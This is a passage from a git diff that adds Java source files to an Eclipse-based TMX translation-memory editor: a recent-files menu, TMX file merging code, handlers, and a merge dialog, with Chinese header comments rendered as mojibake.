org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class EncodingConverterHandler extends AbstractHandler { + + /** (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + EncodingConverterDialog dlg = new EncodingConverterDialog(HandlerUtil.getActiveWorkbenchWindow(event).getShell(), null); + dlg.open(); + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/history/ReopenTmxEditorMenu.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/history/ReopenTmxEditorMenu.java new file mode 100644 index 0000000..ccfd6b9 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/history/ReopenTmxEditorMenu.java @@ -0,0 +1,310 @@ +/** + * ReopenMenu.java + * + * Version information : + * + * Date:2013-8-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui.history; + +import java.io.File; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistory; +import net.heartsome.cat.te.tmxeditor.editor.history.TmxEditorHistoryItem; + +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.jface.action.ContributionItem; +import org.eclipse.jface.action.IMenuListener; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.util.SafeRunnable; +import org.eclipse.jface.window.Window; +import org.eclipse.osgi.util.NLS; +import org.eclipse.osgi.util.TextProcessor; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.ui.internal.IPreferenceConstants; +import org.eclipse.ui.internal.WorkbenchMessages; +import org.eclipse.ui.internal.WorkbenchPlugin; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ReopenTmxEditorMenu extends ContributionItem { + + public static final Logger LOGGER = LoggerFactory.getLogger(ReopenTmxEditorMenu.class); + + private TmxEditorHistory history = TmxEditorHistory.getInstance(); + + private boolean showSeparator; + + private boolean dirty = true; + + private IMenuListener menuListener = new IMenuListener() { + public void menuAboutToShow(IMenuManager manager) { + manager.markDirty(); + dirty = true; + } + }; + + // the maximum length for a file name; must be >= 4 + private static final int MAX_TEXT_LENGTH = 40; + + // only assign mnemonic to the first nine items + private static final int MAX_MNEMONIC_SIZE = 9; + + public ReopenTmxEditorMenu() { + + } + + public ReopenTmxEditorMenu(String id) { + super(id); + } + + /** + * Returns the text for a history item. This may be truncated to fit within the MAX_TEXT_LENGTH. + */ + private String calcText(int index, TmxEditorHistoryItem item) { + File f = new File(item.getPath()); + String name = f.getName(); + return calcText(index, name, f.getAbsolutePath(), Window.getDefaultOrientation() == SWT.RIGHT_TO_LEFT); + } + + /** + * Return a string suitable for a file MRU list. This should not be called outside the framework. + * @param index + * the index in the MRU list + * @param name + * the file name + * @param toolTip + * potentially the path + * @param rtl + * should it be right-to-left + * @return a string suitable for an MRU file menu + */ + public static String calcText(int index, String name, String toolTip, boolean rtl) { + StringBuffer sb = new StringBuffer(); + + int mnemonic = index + 1; + StringBuffer nm = new StringBuffer(); + nm.append(mnemonic); + if (mnemonic <= MAX_MNEMONIC_SIZE) { + nm.insert(nm.length() - (mnemonic + "").length(), '&'); //$NON-NLS-1$ + } + // sb.append(" "); //$NON-NLS-1$ + + String fileName = name; + String pathName = toolTip; + if (pathName.equals(fileName)) { + // tool tip text isn't necessarily a path; + // sometimes it's the same as name, so it shouldn't be treated as a path then + pathName = ""; //$NON-NLS-1$ + } + IPath path = new Path(pathName); + // if last segment in path is the fileName, remove it + if (path.segmentCount() > 1 && path.segment(path.segmentCount() - 1).equals(fileName)) { + path = path.removeLastSegments(1); + pathName = path.toString(); + } + + if ((fileName.length() + pathName.length()) <= (MAX_TEXT_LENGTH - 4)) { + // entire item name fits within maximum length + sb.append(fileName); + if (pathName.length() > 0) { + sb.append(" ["); //$NON-NLS-1$ + sb.append(pathName); + sb.append("]"); //$NON-NLS-1$ + } + } else { + // need to shorten the item name + int length = fileName.length(); + if (length > MAX_TEXT_LENGTH) { + // file name does not fit within length, truncate it + sb.append(fileName.substring(0, MAX_TEXT_LENGTH - 3)); + sb.append("..."); //$NON-NLS-1$ + } else if (length > MAX_TEXT_LENGTH - 7) { + sb.append(fileName); + } else { + sb.append(fileName); + int segmentCount = path.segmentCount(); + if (segmentCount > 0) { + length += 7; // 7 chars are taken for " [...]" + + sb.append(" ["); //$NON-NLS-1$ + + // Add first n segments that fit + int i = 0; + while (i < segmentCount && length < MAX_TEXT_LENGTH) { + String segment = path.segment(i); + if (length + segment.length() < MAX_TEXT_LENGTH) { + sb.append(segment); + sb.append(IPath.SEPARATOR); + length += segment.length() + 1; + i++; + } else if (i == 0) { + // append at least part of the first segment + sb.append(segment.substring(0, MAX_TEXT_LENGTH - length)); + length = MAX_TEXT_LENGTH; + break; + } else { + break; + } + } + + sb.append("..."); //$NON-NLS-1$ + + i = segmentCount - 1; + // Add last n segments that fit + while (i > 0 && length < MAX_TEXT_LENGTH) { + String segment = path.segment(i); + if (length + segment.length() < MAX_TEXT_LENGTH) { + sb.append(IPath.SEPARATOR); + sb.append(segment); + length += segment.length() + 1; + i--; + } else { + break; + } + } + + sb.append("]"); //$NON-NLS-1$ + } + } + } + final String process; + if (rtl) { + process = sb + " " + nm; //$NON-NLS-1$ + } else { + process = nm + " " + sb; //$NON-NLS-1$ + } + return TextProcessor.process(process, TextProcessor.getDefaultDelimiters() + "[]");//$NON-NLS-1$ + } + + /** + * Fills the given menu with menu items for all windows. + */ + public void fill(final Menu menu, int index) { + + if (getParent() instanceof MenuManager) { + ((MenuManager) getParent()).addMenuListener(menuListener); + } + + int itemsToShow = WorkbenchPlugin.getDefault().getPreferenceStore().getInt(IPreferenceConstants.RECENT_FILES); + if (itemsToShow == 0 || history == null) { + return; + } + + // Get items. + TmxEditorHistoryItem[] historyItems = history.getItems(); + + int n = Math.min(itemsToShow, historyItems.length); + if (n <= 0) { + return; + } + + if (showSeparator) { + new MenuItem(menu, SWT.SEPARATOR, index); + ++index; + } + + final int menuIndex[] = new int[] { index }; + + for (int i = 0; i < n; i++) { + final TmxEditorHistoryItem item = historyItems[i]; + final int historyIndex = i; + SafeRunner.run(new SafeRunnable() { + public void run() throws Exception { + String text =/* (historyIndex + 1) + " " + item.getPath();*/calcText(historyIndex, item); + MenuItem mi = new MenuItem(menu, SWT.PUSH, menuIndex[0]); + ++menuIndex[0]; + mi.setText(text); + mi.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + open(item); + } + }); + } + + public void handleException(Throwable e) { + // just skip the item if there's an error, + // e.g. in the calculation of the shortened name + // WorkbenchPlugin.log(getClass(), "fill", e); //$NON-NLS-1$ + LOGGER.error("fill", e); + } + }); + } + new MenuItem(menu, SWT.SEPARATOR, menuIndex[0]); + dirty = false; + } + + /** + * Overridden to always return true and force dynamic menu building. + */ + public boolean isDirty() { + return dirty; + } + + /** + * Overridden to always return true and force dynamic menu building. + */ + public boolean isDynamic() { + return true; + } + + /** + * Reopens the editor for the given history item. + */ + private void open(TmxEditorHistoryItem item) { + String filePath = item.getPath(); + File f = new File(filePath); + final TmxEditorViewer tmxEditorViewer = TmxEditorViewer.getInstance(); + if (tmxEditorViewer == null || !f.exists() || f.isDirectory()) { + String title = WorkbenchMessages.OpenRecent_errorTitle; + String msg = NLS.bind(WorkbenchMessages.OpenRecent_unableToOpen, item.getPath()); + MessageDialog.openWarning(Display.getDefault().getActiveShell(), title, msg); + history.remove(item); + return; + } + if (tmxEditorViewer.getTmxEditor() != null) { + if(!tmxEditorViewer.closeTmx()){ + return; + } + } + int type = item.getType(); + if (type == TmxEditorHistoryItem.TYPE_TMX) { + tmxEditorViewer.open(f); + } else if (type == TmxEditorHistoryItem.TYPE_HSTM) { + DatabaseModelBean selectedVal = new DatabaseModelBean(); + selectedVal.setDbName(f.getName()); + selectedVal.setDbType(Constants.DBTYPE_SQLITE); + selectedVal.setItlDBLocation(f.getParent()); + tmxEditorViewer.open(selectedVal); + } else { + String title = WorkbenchMessages.OpenRecent_errorTitle; + String msg = NLS.bind(WorkbenchMessages.OpenRecent_unableToOpen, item.getPath()); + MessageDialog.openWarning(Display.getDefault().getActiveShell(), title, msg); + history.remove(item); + } + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/MergeTmx.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/MergeTmx.java new file mode 100644 index 0000000..c30acd6 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/MergeTmx.java @@ -0,0 +1,226 @@ +/** + * MergeTmxFile.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.mergetmx; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.text.MessageFormat; +import java.util.List; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.bean.TmxTemplet; +import net.heartsome.cat.te.ui.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * åˆå¹¶ã€€tmx 文件 + * @author Mac + * @version + * @since JDK1.6 + */ +public class MergeTmx { + private List fileList; + private String tgtFileLC; + private FileOutputStream output = null; + private BufferedOutputStream buffer = null; + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ï¼Œé’ˆå¯¹åŒ¹é… */ + private static int workInterval = 1; + public final static Logger LOGG = LoggerFactory.getLogger(MergeTmx.class); + + public MergeTmx(List fileList, String tgtFileLC){ + this.fileList = fileList; + this.tgtFileLC = tgtFileLC; + } + + public void beginMerge(IProgressMonitor monitor){ + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + // UNDO 这里还需添加验è¯ã€€tmx 的代ç ã€‚因此暂ä¸è€ƒè™‘解æžæ‰€éœ€è¦çš„è¿›åº¦æ¡ + // æ¯ä¸ªæ–‡ä»¶åˆ†äº”格,其中解æžã€€ä¸€æ ¼ï¼Œåˆå¹¶ä¸€æ ¼ + + try { + // 先解æžæ–‡ä»¶ + output = new FileOutputStream(tgtFileLC); + buffer = new BufferedOutputStream(output); + String srcLang = ""; + boolean isCreateHeaderOrBody = false; + + VTDGen vg = null; + VTDNav vn = null; + AutoPilot ap = new AutoPilot(); + VTDUtils vu = new VTDUtils(); + monitor.beginTask("", fileList.size()); + for(final String fileLC : fileList){ + String xpath = "count(/tmx/body/tu)"; + vg = new VTDGen(); + if (!vg.parseFile(fileLC, true)) { + final String message = MessageFormat.format(Messages.getString("dialog.MergeTmxDilog.merge.parseError"), fileLC); + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, message); + } + }); + LOGG.error("", new Exception(message)); + throw new OperationCanceledException(); + } + vn = vg.getNav(); + ap.bind(vn); + vu.bind(vn); + ap.selectXPath(xpath); + final int allTUSize = (int)ap.evalXPathToNumber(); + + if (allTUSize <= 0) { + Display.getDefault().syncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.INFO, + MessageFormat.format(Messages.getString("dialog.MergeTmxDilog.merge.fileNull.msg"), fileLC)); + } + }); + throw new OperationCanceledException(); + } + + if (allTUSize > 500) { + workInterval = allTUSize / 500; + } + int totalWork = allTUSize % workInterval == 0 ? (allTUSize / workInterval) : (allTUSize / workInterval) + 1; + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1); + subMonitor.beginTask("", totalWork); + + // 先获å–出æºè¯­è¨€ã€‚ + if (!isCreateHeaderOrBody) { + isCreateHeaderOrBody = true; + xpath = "/tmx/header"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + if (vn.getAttrVal("srclang") != -1) { + srcLang = vn.toString(vn.getAttrVal("srclang")); + } + } + String xmlDcle = TmxTemplet.genertateTmxXmlDeclar(); + TmxHeader header =TmxTemplet.generateTmxHeader(srcLang, null, null, null, null, null, null); + writeSegment(xmlDcle); + writeSegment("\n"); + writeSegment(TmxTemplet.header2Xml(header)); + writeSegment("\n"); + } + xpath = "/tmx/body/tu"; + int i = 0; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + i ++; + writeSegment(vu.getElementFragment()); + monitorWork(subMonitor, i, false); + } + monitorWork(subMonitor, i, true); + + subMonitor.done(); + } + writeSegment("\n\n"); + writeSegment(""); + + buffer.flush(); + buffer.close(); + monitor.done(); + + } catch (final Exception e) { + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + }); + + LOGG.error("", e); + if (new File(tgtFileLC).exists()) { + new File(tgtFileLC).delete(); + } + throw new OperationCanceledException(); + }finally{ + try { + if (output != null) { + output.close(); + } + if (buffer != null) { + buffer.close(); + } + } catch (Exception e2) { + LOGG.error("", e2); + } + } + + } + + public void MergeTmxFile(List txmFiles, File targetFile) { + + } + + public boolean validateFilesHeader() { + return false; + } + + public boolean validateFilesLanguages() { + return false; + } + + + /** + * @param segment + * @throws Exception + */ + private void writeSegment(String segment) throws Exception{ + buffer.write(segment.getBytes("UTF-8")); + } + + private void monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last) throws Exception{ + if (last) { + if (traversalTuIndex % workInterval != 0) { + if (monitor.isCanceled()) { + if (new File(tgtFileLC).exists()) { + new File(tgtFileLC).delete(); + } + throw new OperationCanceledException(); + } + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + if (monitor.isCanceled()) { + if (new File(tgtFileLC).exists()) { + new File(tgtFileLC).delete(); + } + throw new OperationCanceledException(); + } + monitor.worked(1); + } + } + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/MergeTmxFile.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/MergeTmxFile.java new file mode 100644 index 0000000..d81a325 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/MergeTmxFile.java @@ -0,0 +1,39 @@ +/** + * MergeTmxFile.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.mergetmx; + +import java.io.File; +import java.util.List; + +public class MergeTmxFile { + public void MergeTmxFile(List txmFiles, File targetFile) { + + } + + public boolean validateFilesHeader() { + return false; + } + + public boolean validateFilesLanguages() { + return false; + } + + private void generateTmxFileHeader() { + + } + + public void runMerge() { + + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/handler/MergeTmxFileHanlder.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/handler/MergeTmxFileHanlder.java new file mode 100644 index 0000000..7584669 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/handler/MergeTmxFileHanlder.java @@ -0,0 +1,38 @@ +/** + * MergeTmxFileHanlder.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.mergetmx.handler; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; + +/** + * 分割 tmx 文件,注æ„,该类与 类 net.heartsome.cat.te.core.file.merge.MergeFilesWhenCloseTmx 的区别在于, åŽè€…是打开关闭 tmx 文件时的一个附属æ“作,而当å‰ç±»æ˜¯ä¸€ä¸ªç‹¬ç«‹çš„æ“作 + * @author robert 2013-08-12 + * @version + * @since JDK1.6 + */ +public class MergeTmxFileHanlder extends AbstractHandler{ + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + + + + + + + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/handler/MergeTmxHanlder.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/handler/MergeTmxHanlder.java new file mode 100644 index 0000000..25f6d4d --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/handler/MergeTmxHanlder.java @@ -0,0 +1,38 @@ +/** + * MergeTmxFileHanlder.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.mergetmx.handler; + +import net.heartsome.cat.te.ui.mergetmx.ui.MergeTmxDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 分割 tmx 文件,注æ„,该类与 类 net.heartsome.cat.te.core.file.merge.MergeFilesWhenCloseTmx 的区别在于, åŽè€…是打开关闭 tmx 文件时的一个附属æ“作,而当å‰ç±»æ˜¯ä¸€ä¸ªç‹¬ç«‹çš„æ“作 + * @author robert 2013-08-12 + * @version + * @since JDK1.6 + */ +public class MergeTmxHanlder extends AbstractHandler{ + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + MergeTmxDialog dialog = new MergeTmxDialog(HandlerUtil.getActiveShell(event)); + dialog.open(); + + return null; + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/ui/MergeTmxDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/ui/MergeTmxDialog.java new file mode 100644 index 0000000..d0405c3 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/mergetmx/ui/MergeTmxDialog.java @@ -0,0 +1,297 @@ +/** + * MergeTmxDialog.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.mergetmx.ui; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.ui.dialog.HsAbstractProgressDialog; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.ui.mergetmx.MergeTmx; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; + +public class MergeTmxDialog extends HsAbstractProgressDialog implements IRunnableWithProgress { + private Table table; + private TableViewer tableViewer; + private List fileList = new ArrayList(); + private Text tgtTxt; + private boolean confirm = true; + private String tgtFileLC; + + public MergeTmxDialog(Shell parentShell) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.TITLE); + } + + /** + * åˆå§‹åŒ–对è¯æ¡†ä½ç½® + */ + @Override + protected Point getInitialSize() { + return new Point(600, 450); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.MergeTmxDilog.mergeTmx.title")); + } + + @Override + public Composite createClientArea(Composite clientContainer) { + GridLayoutFactory.swtDefaults().numColumns(1).applyTo(clientContainer); + + Group fileGroup = new Group(clientContainer, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(fileGroup); + GridLayoutFactory.swtDefaults().numColumns(2).applyTo(fileGroup); + fileGroup.setText(Messages.getString("dialog.MergeTmxDilog.tmxFile")); + + tableViewer = new TableViewer(fileGroup, SWT.FULL_SELECTION | SWT.BORDER | SWT.MULTI | SWT.H_SCROLL + | SWT.V_SCROLL); + table = tableViewer.getTable(); + GridData tableData = new GridData(GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL | GridData.FILL_BOTH); + tableData.heightHint = 50; + table.setLayoutData(tableData); + table.setHeaderVisible(true); + table.setLinesVisible(true); + String[] headerNames = new String[] { Messages.getString("dialog.MergeTmxDilog.header.name1"), + Messages.getString("dialog.MergeTmxDilog.header.name2") }; + int[] styles = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < headerNames.length; i++) { + TableColumn column = new TableColumn(table, styles[i]); + column.setText(headerNames[i]); + } + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(fileList); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.1, 0.88 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + // 按钮区 + Composite btnCmp = new Composite(fileGroup, SWT.NONE); + GridDataFactory.swtDefaults().align(SWT.CENTER, SWT.FILL).grab(false, true).applyTo(btnCmp); + GridLayoutFactory.swtDefaults().numColumns(1).applyTo(btnCmp); + + Button addBtn = new Button(btnCmp, SWT.NONE); + addBtn.setText(Messages.getString("dialog.MergeTmxDilog.addTmxFile")); + setButtonLayoutData(addBtn); + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog dialog = new FileDialog(getShell(), SWT.OPEN | SWT.MULTI); + dialog.setFilterExtensions(new String[] { "*.tmx", "*.*" }); + dialog.open(); + String filterPath = dialog.getFilterPath(); + String[] fileNameS = dialog.getFileNames(); + String fileLC = null; + for (String fileName : fileNameS) { + fileLC = new File(filterPath + File.separator + fileName).getAbsolutePath(); + if (!fileList.contains(fileLC)) { + fileList.add(fileLC); + tableViewer.refresh(); + } + } + check(); + } + }); + + Button deleteBtn = new Button(btnCmp, SWT.NONE); + deleteBtn.setText(Messages.getString("dialog.MergeTmxDilog.deleteTmxFile")); + setButtonLayoutData(deleteBtn); + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty()) { + if (selection != null && !selection.isEmpty()) { + int[] indices = table.getSelectionIndices(); + for (int index : indices) { + String fileLC = table.getItem(index).getText(1); + fileList.remove(fileLC); + } + 